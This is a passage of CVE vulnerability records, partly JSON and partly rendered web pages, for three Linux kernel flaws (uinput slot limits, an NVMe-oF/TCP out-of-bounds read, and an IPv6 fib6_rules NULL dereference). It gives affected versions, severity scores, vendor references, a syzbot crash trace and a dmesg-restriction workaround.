              "versionType": "git"
            },
            {
              "lessThan": "597ff930296c4c8fc6b6a536884d4f1a7187ec70",
              "status": "affected",
              "version": "38e7afe96c7c0ad900824911c61fdb04078033dc",
              "versionType": "git"
            },
            {
              "lessThan": "51fa08edd80003db700bdaa099385c5900d27f4b",
              "status": "affected",
              "version": "38e7afe96c7c0ad900824911c61fdb04078033dc",
              "versionType": "git"
            },
            {
              "lessThan": "9719687398dea8a6a12a10321a54dd75eec7ab2d",
              "status": "affected",
              "version": "38e7afe96c7c0ad900824911c61fdb04078033dc",
              "versionType": "git"
            },
            {
              "lessThan": "61df76619e270a46fd427fbdeb670ad491c42de2",
              "status": "affected",
              "version": "38e7afe96c7c0ad900824911c61fdb04078033dc",
              "versionType": "git"
            },
            {
              "lessThan": "a4858b00a1ec57043697fb935565fe267f161833",
              "status": "affected",
              "version": "38e7afe96c7c0ad900824911c61fdb04078033dc",
              "versionType": "git"
            },
            {
              "lessThan": "d76fc0f0b18d49b7e721c9e4975ef4bffde2f3e7",
              "status": "affected",
              "version": "38e7afe96c7c0ad900824911c61fdb04078033dc",
              "versionType": "git"
            },
            {
              "lessThan": "206f533a0a7c683982af473079c4111f4a0f9f5e",
              "status": "affected",
              "version": "38e7afe96c7c0ad900824911c61fdb04078033dc",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/input/misc/uinput.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "2.6.36"
            },
            {
              "lessThan": "2.6.36",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.322",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.284",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.226",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.167",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.110",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.51",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.10.*",
              "status": "unaffected",
              "version": "6.10.10",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.11",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.322",
                  "versionStartIncluding": "2.6.36",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.284",
                  "versionStartIncluding": "2.6.36",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.226",
                  "versionStartIncluding": "2.6.36",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.167",
                  "versionStartIncluding": "2.6.36",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.110",
                  "versionStartIncluding": "2.6.36",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.51",
                  "versionStartIncluding": "2.6.36",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10.10",
                  "versionStartIncluding": "2.6.36",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11",
                  "versionStartIncluding": "2.6.36",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nInput: uinput - reject requests with unreasonable number of slots\n\n\nWhen exercising uinput interface syzkaller may try setting up device\nwith a really large number of slots, which causes memory allocation\nfailure in input_mt_init_slots(). While this allocation failure is\nhandled properly and request is rejected, it results in syzkaller\nreports. Additionally, such request may put undue burden on the\nsystem which will try to free a lot of memory for a bogus request.\n\nFix it by limiting allowed number of slots to 100. This can easily\nbe extended if we see devices that can track more than 100 contacts."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:35:35.091Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/9c6d189f0c1c59ba9a32326ec82a0b367a3cd47b"
        },
        {
          "url": "https://git.kernel.org/stable/c/597ff930296c4c8fc6b6a536884d4f1a7187ec70"
        },
        {
          "url": "https://git.kernel.org/stable/c/51fa08edd80003db700bdaa099385c5900d27f4b"
        },
        {
          "url": "https://git.kernel.org/stable/c/9719687398dea8a6a12a10321a54dd75eec7ab2d"
        },
        {
          "url": "https://git.kernel.org/stable/c/61df76619e270a46fd427fbdeb670ad491c42de2"
        },
        {
          "url": "https://git.kernel.org/stable/c/a4858b00a1ec57043697fb935565fe267f161833"
        },
        {
          "url": "https://git.kernel.org/stable/c/d76fc0f0b18d49b7e721c9e4975ef4bffde2f3e7"
        },
        {
          "url": "https://git.kernel.org/stable/c/206f533a0a7c683982af473079c4111f4a0f9f5e"
        }
      ],
      "title": "Input: uinput - reject requests with unreasonable number of slots",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-46745",
    "datePublished": "2024-09-18T07:12:05.798Z",
    "dateReserved": "2024-09-11T15:12:18.266Z",
    "dateUpdated": "2026-05-12T11:57:50.187Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2023-6121 (GCVE-0-2023-6121)

Vulnerability from cvelistv5 – Published: 2023-11-16 14:45 – Updated: 2026-05-12 10:32

Title

Kernel: nvme: info leak due to out-of-bounds read in nvmet_ctrl_find_get

Summary

An out-of-bounds read vulnerability was found in the NVMe-oF/TCP subsystem in the Linux kernel. This issue may allow a remote attacker to send a crafted TCP packet, triggering a heap-based buffer overflow that results in kmalloc data being printed and potentially leaked to the kernel ring buffer (dmesg).

Severity ?

4.3 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

CWE

CWE-125 - Out-of-bounds Read

Assigner

redhat

References

5 references

URL	Tags
https://access.redhat.com/errata/RHSA-2024:2394	vendor-advisoryx_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2024:2950	vendor-advisoryx_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2024:3138	vendor-advisoryx_refsource_REDHAT
https://access.redhat.com/security/cve/CVE-2023-6121	vdb-entryx_refsource_REDHAT
https://bugzilla.redhat.com/show_bug.cgi?id=2250043	issue-trackingx_refsource_REDHAT

Impacted products

8 products

Vendor	Product	Version
Red Hat	Red Hat Enterprise Linux 8	Unaffected: 0:4.18.0-553.rt7.342.el8_10 , < * (rpm) cpe:/a:redhat:enterprise_linux:8::realtime cpe:/a:redhat:enterprise_linux:8::nfv
Red Hat	Red Hat Enterprise Linux 8	Unaffected: 0:4.18.0-553.el8_10 , < * (rpm) cpe:/o:redhat:enterprise_linux:8::baseos cpe:/a:redhat:enterprise_linux:8::crb
Red Hat	Red Hat Enterprise Linux 9	Unaffected: 0:5.14.0-427.13.1.el9_4 , < * (rpm) cpe:/o:redhat:enterprise_linux:9::baseos cpe:/a:redhat:enterprise_linux:9::realtime cpe:/a:redhat:enterprise_linux:9::appstream cpe:/a:redhat:enterprise_linux:9::crb cpe:/a:redhat:enterprise_linux:9::nfv
Red Hat	Red Hat Enterprise Linux 9	Unaffected: 0:5.14.0-427.13.1.el9_4 , < * (rpm) cpe:/o:redhat:enterprise_linux:9::baseos cpe:/a:redhat:enterprise_linux:9::realtime cpe:/a:redhat:enterprise_linux:9::appstream cpe:/a:redhat:enterprise_linux:9::crb cpe:/a:redhat:enterprise_linux:9::nfv
Red Hat	Red Hat Enterprise Linux 6	cpe:/o:redhat:enterprise_linux:6
Red Hat	Red Hat Enterprise Linux 7	cpe:/o:redhat:enterprise_linux:7
Red Hat	Red Hat Enterprise Linux 7	cpe:/o:redhat:enterprise_linux:7
Red Hat	Red Hat Enterprise Linux 9	cpe:/o:redhat:enterprise_linux:9

Date Public ?

2023-11-06 00:00

Credits

Red Hat would like to thank Alon Zahavi for reporting this issue.

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2023-6121",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-06-10T13:58:01.737027Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-06-10T13:58:09.509Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T08:21:17.422Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "name": "RHSA-2024:2394",
            "tags": [
              "vendor-advisory",
              "x_refsource_REDHAT",
              "x_transferred"
            ],
            "url": "https://access.redhat.com/errata/RHSA-2024:2394"
          },
          {
            "name": "RHSA-2024:2950",
            "tags": [
              "vendor-advisory",
              "x_refsource_REDHAT",
              "x_transferred"
            ],
            "url": "https://access.redhat.com/errata/RHSA-2024:2950"
          },
          {
            "name": "RHSA-2024:3138",
            "tags": [
              "vendor-advisory",
              "x_refsource_REDHAT",
              "x_transferred"
            ],
            "url": "https://access.redhat.com/errata/RHSA-2024:3138"
          },
          {
            "tags": [
              "vdb-entry",
              "x_refsource_REDHAT",
              "x_transferred"
            ],
            "url": "https://access.redhat.com/security/cve/CVE-2023-6121"
          },
          {
            "name": "RHBZ#2250043",
            "tags": [
              "issue-tracking",
              "x_refsource_REDHAT",
              "x_transferred"
            ],
            "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2250043"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/01/msg00005.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIPLUS S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T10:32:23.693Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-398330.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-613116.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/a:redhat:enterprise_linux:8::realtime",
            "cpe:/a:redhat:enterprise_linux:8::nfv"
          ],
          "defaultStatus": "affected",
          "packageName": "kernel-rt",
          "product": "Red Hat Enterprise Linux 8",
          "vendor": "Red Hat",
          "versions": [
            {
              "lessThan": "*",
              "status": "unaffected",
              "version": "0:4.18.0-553.rt7.342.el8_10",
              "versionType": "rpm"
            }
          ]
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/o:redhat:enterprise_linux:8::baseos",
            "cpe:/a:redhat:enterprise_linux:8::crb"
          ],
          "defaultStatus": "affected",
          "packageName": "kernel",
          "product": "Red Hat Enterprise Linux 8",
          "vendor": "Red Hat",
          "versions": [
            {
              "lessThan": "*",
              "status": "unaffected",
              "version": "0:4.18.0-553.el8_10",
              "versionType": "rpm"
            }
          ]
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/o:redhat:enterprise_linux:9::baseos",
            "cpe:/a:redhat:enterprise_linux:9::realtime",
            "cpe:/a:redhat:enterprise_linux:9::appstream",
            "cpe:/a:redhat:enterprise_linux:9::crb",
            "cpe:/a:redhat:enterprise_linux:9::nfv"
          ],
          "defaultStatus": "affected",
          "packageName": "kernel",
          "product": "Red Hat Enterprise Linux 9",
          "vendor": "Red Hat",
          "versions": [
            {
              "lessThan": "*",
              "status": "unaffected",
              "version": "0:5.14.0-427.13.1.el9_4",
              "versionType": "rpm"
            }
          ]
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/o:redhat:enterprise_linux:9::baseos",
            "cpe:/a:redhat:enterprise_linux:9::realtime",
            "cpe:/a:redhat:enterprise_linux:9::appstream",
            "cpe:/a:redhat:enterprise_linux:9::crb",
            "cpe:/a:redhat:enterprise_linux:9::nfv"
          ],
          "defaultStatus": "affected",
          "packageName": "kernel",
          "product": "Red Hat Enterprise Linux 9",
          "vendor": "Red Hat",
          "versions": [
            {
              "lessThan": "*",
              "status": "unaffected",
              "version": "0:5.14.0-427.13.1.el9_4",
              "versionType": "rpm"
            }
          ]
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/o:redhat:enterprise_linux:6"
          ],
          "defaultStatus": "unknown",
          "packageName": "kernel",
          "product": "Red Hat Enterprise Linux 6",
          "vendor": "Red Hat"
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/o:redhat:enterprise_linux:7"
          ],
          "defaultStatus": "unknown",
          "packageName": "kernel",
          "product": "Red Hat Enterprise Linux 7",
          "vendor": "Red Hat"
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/o:redhat:enterprise_linux:7"
          ],
          "defaultStatus": "unknown",
          "packageName": "kernel-rt",
          "product": "Red Hat Enterprise Linux 7",
          "vendor": "Red Hat"
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/o:redhat:enterprise_linux:9"
          ],
          "defaultStatus": "affected",
          "packageName": "kernel-rt",
          "product": "Red Hat Enterprise Linux 9",
          "vendor": "Red Hat"
        }
      ],
      "credits": [
        {
          "lang": "en",
          "value": "Red Hat would like to thank Alon Zahavi for reporting this issue."
        }
      ],
      "datePublic": "2023-11-06T00:00:00.000Z",
      "descriptions": [
        {
          "lang": "en",
          "value": "An out-of-bounds read vulnerability was found in the NVMe-oF/TCP subsystem in the Linux kernel. This issue may allow a remote attacker to send a crafted TCP packet, triggering a heap-based buffer overflow that results in kmalloc data being printed and potentially leaked to the kernel ring buffer (dmesg)."
        }
      ],
      "metrics": [
        {
          "other": {
            "content": {
              "namespace": "https://access.redhat.com/security/updates/classification/",
              "value": "Low"
            },
            "type": "Red Hat severity rating"
          }
        },
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 4.3,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "LOW",
            "integrityImpact": "NONE",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
            "version": "3.1"
          },
          "format": "CVSS"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-125",
              "description": "Out-of-bounds Read",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2025-11-06T20:01:43.127Z",
        "orgId": "53f830b8-0a3f-465b-8143-3b8a9948e749",
        "shortName": "redhat"
      },
      "references": [
        {
          "name": "RHSA-2024:2394",
          "tags": [
            "vendor-advisory",
            "x_refsource_REDHAT"
          ],
          "url": "https://access.redhat.com/errata/RHSA-2024:2394"
        },
        {
          "name": "RHSA-2024:2950",
          "tags": [
            "vendor-advisory",
            "x_refsource_REDHAT"
          ],
          "url": "https://access.redhat.com/errata/RHSA-2024:2950"
        },
        {
          "name": "RHSA-2024:3138",
          "tags": [
            "vendor-advisory",
            "x_refsource_REDHAT"
          ],
          "url": "https://access.redhat.com/errata/RHSA-2024:3138"
        },
        {
          "tags": [
            "vdb-entry",
            "x_refsource_REDHAT"
          ],
          "url": "https://access.redhat.com/security/cve/CVE-2023-6121"
        },
        {
          "name": "RHBZ#2250043",
          "tags": [
            "issue-tracking",
            "x_refsource_REDHAT"
          ],
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2250043"
        }
      ],
      "timeline": [
        {
          "lang": "en",
          "time": "2023-11-12T00:00:00.000Z",
          "value": "Reported to Red Hat."
        },
        {
          "lang": "en",
          "time": "2023-11-06T00:00:00.000Z",
          "value": "Made public."
        }
      ],
      "title": "Kernel: nvme: info leak due to out-of-bounds read in nvmet_ctrl_find_get",
      "workarounds": [
        {
          "lang": "en",
          "value": "This flaw can be mitigated by explicitly setting the kernel parameter to restrict unprivileged users from using dmesg:\n```\nsudo sysctl -w kernel.dmesg_restrict=1\n```\nTo make it persistent between system reboots:\n```\necho \u0027kernel.dmesg_restrict=1\u0027 | sudo tee -a /etc/sysctl.conf\n```"
        }
      ],
      "x_redhatCweChain": "CWE-125: Out-of-bounds Read"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "53f830b8-0a3f-465b-8143-3b8a9948e749",
    "assignerShortName": "redhat",
    "cveId": "CVE-2023-6121",
    "datePublished": "2023-11-16T14:45:38.430Z",
    "dateReserved": "2023-11-14T10:18:51.337Z",
    "dateUpdated": "2026-05-12T10:32:23.693Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-36902 (GCVE-0-2024-36902)

Vulnerability from cvelistv5 – Published: 2024-05-30 15:29 – Updated: 2026-05-12 11:54

Title

ipv6: fib6_rules: avoid possible NULL dereference in fib6_rule_action()

Summary

In the Linux kernel, the following vulnerability has been resolved: ipv6: fib6_rules: avoid possible NULL dereference in fib6_rule_action() syzbot is able to trigger the following crash [1], caused by unsafe ip6_dst_idev() use. Indeed ip6_dst_idev() can return NULL, and must always be checked. [1] Oops: general protection fault, probably for non-canonical address 0xdffffc0000000000: 0000 [#1] PREEMPT SMP KASAN PTI KASAN: null-ptr-deref in range [0x0000000000000000-0x0000000000000007] CPU: 0 PID: 31648 Comm: syz-executor.0 Not tainted 6.9.0-rc4-next-20240417-syzkaller #0 Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 03/27/2024 RIP: 0010:__fib6_rule_action net/ipv6/fib6_rules.c:237 [inline] RIP: 0010:fib6_rule_action+0x241/0x7b0 net/ipv6/fib6_rules.c:267 Code: 02 00 00 49 8d 9f d8 00 00 00 48 89 d8 48 c1 e8 03 42 80 3c 20 00 74 08 48 89 df e8 f9 32 bf f7 48 8b 1b 48 89 d8 48 c1 e8 03 <42> 80 3c 20 00 74 08 48 89 df e8 e0 32 bf f7 4c 8b 03 48 89 ef 4c RSP: 0018:ffffc9000fc1f2f0 EFLAGS: 00010246 RAX: 0000000000000000 RBX: 0000000000000000 RCX: 1a772f98c8186700 RDX: 0000000000000003 RSI: ffffffff8bcac4e0 RDI: ffffffff8c1f9760 RBP: ffff8880673fb980 R08: ffffffff8fac15ef R09: 1ffffffff1f582bd R10: dffffc0000000000 R11: fffffbfff1f582be R12: dffffc0000000000 R13: 0000000000000080 R14: ffff888076509000 R15: ffff88807a029a00 FS: 00007f55e82ca6c0(0000) GS:ffff8880b9400000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 0000001b31d23000 CR3: 0000000022b66000 CR4: 00000000003506f0 DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 Call Trace: <TASK> fib_rules_lookup+0x62c/0xdb0 net/core/fib_rules.c:317 fib6_rule_lookup+0x1fd/0x790 net/ipv6/fib6_rules.c:108 ip6_route_output_flags_noref net/ipv6/route.c:2637 [inline] ip6_route_output_flags+0x38e/0x610 net/ipv6/route.c:2649 ip6_route_output include/net/ip6_route.h:93 [inline] ip6_dst_lookup_tail+0x189/0x11a0 net/ipv6/ip6_output.c:1120 ip6_dst_lookup_flow+0xb9/0x180 net/ipv6/ip6_output.c:1250 sctp_v6_get_dst+0x792/0x1e20 net/sctp/ipv6.c:326 sctp_transport_route+0x12c/0x2e0 net/sctp/transport.c:455 sctp_assoc_add_peer+0x614/0x15c0 net/sctp/associola.c:662 sctp_connect_new_asoc+0x31d/0x6c0 net/sctp/socket.c:1099 __sctp_connect+0x66d/0xe30 net/sctp/socket.c:1197 sctp_connect net/sctp/socket.c:4819 [inline] sctp_inet_connect+0x149/0x1f0 net/sctp/socket.c:4834 __sys_connect_file net/socket.c:2048 [inline] __sys_connect+0x2df/0x310 net/socket.c:2065 __do_sys_connect net/socket.c:2075 [inline] __se_sys_connect net/socket.c:2072 [inline] __x64_sys_connect+0x7a/0x90 net/socket.c:2072 do_syscall_x64 arch/x86/entry/common.c:52 [inline] do_syscall_64+0xf5/0x240 arch/x86/entry/common.c:83 entry_SYSCALL_64_after_hwframe+0x77/0x7f

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/4a5a573387da6a6b2…
https://git.kernel.org/stable/c/ddec23f206a944c73…
https://git.kernel.org/stable/c/674c951ab8a23f7af…
https://git.kernel.org/stable/c/35297fc68de368260…
https://git.kernel.org/stable/c/7e3242c139c38e608…
https://git.kernel.org/stable/c/8745a8d74ba17dafe…
https://git.kernel.org/stable/c/1876881c9a49613b5…
https://git.kernel.org/stable/c/d101291b2681e5ab9…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 5e5f3f0f801321078c897a5de0b4b4304f234da0 , < 4a5a573387da6a6b23a4cc62147453ff1bc32afa (git) Affected: 5e5f3f0f801321078c897a5de0b4b4304f234da0 , < ddec23f206a944c73bcc2724358b85388837daff (git) Affected: 5e5f3f0f801321078c897a5de0b4b4304f234da0 , < 674c951ab8a23f7aff9b4c3f2f865901bc76a290 (git) Affected: 5e5f3f0f801321078c897a5de0b4b4304f234da0 , < 35297fc68de36826087e976f86a5b1f94fd0bf95 (git) Affected: 5e5f3f0f801321078c897a5de0b4b4304f234da0 , < 7e3242c139c38e60844638e394c2877b16b396b0 (git) Affected: 5e5f3f0f801321078c897a5de0b4b4304f234da0 , < 8745a8d74ba17dafe72b6ab461fa6c007d879747 (git) Affected: 5e5f3f0f801321078c897a5de0b4b4304f234da0 , < 1876881c9a49613b5249fb400cbf53412d90cb09 (git) Affected: 5e5f3f0f801321078c897a5de0b4b4304f234da0 , < d101291b2681e5ab938554e3e323f7a7ee33e3aa (git)
Linux	Linux	Affected: 2.6.26 Unaffected: 0 , < 2.6.26 (semver) Unaffected: 4.19.314 , ≤ 4.19.* (semver) Unaffected: 5.4.276 , ≤ 5.4.* (semver) Unaffected: 5.10.217 , ≤ 5.10.* (semver) Unaffected: 5.15.159 , ≤ 5.15.* (semver) Unaffected: 6.1.91 , ≤ 6.1.* (semver) Unaffected: 6.6.31 , ≤ 6.6.* (semver) Unaffected: 6.8.10 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-36902",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-05-30T18:53:30.406857Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-06-04T17:48:02.730Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-09-26T15:03:09.186Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/4a5a573387da6a6b23a4cc62147453ff1bc32afa"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/ddec23f206a944c73bcc2724358b85388837daff"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/674c951ab8a23f7aff9b4c3f2f865901bc76a290"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/35297fc68de36826087e976f86a5b1f94fd0bf95"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/7e3242c139c38e60844638e394c2877b16b396b0"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/8745a8d74ba17dafe72b6ab461fa6c007d879747"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/1876881c9a49613b5249fb400cbf53412d90cb09"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/d101291b2681e5ab938554e3e323f7a7ee33e3aa"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00019.html"
          },
          {
            "url": "https://security.netapp.com/advisory/ntap-20240926-0002/"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
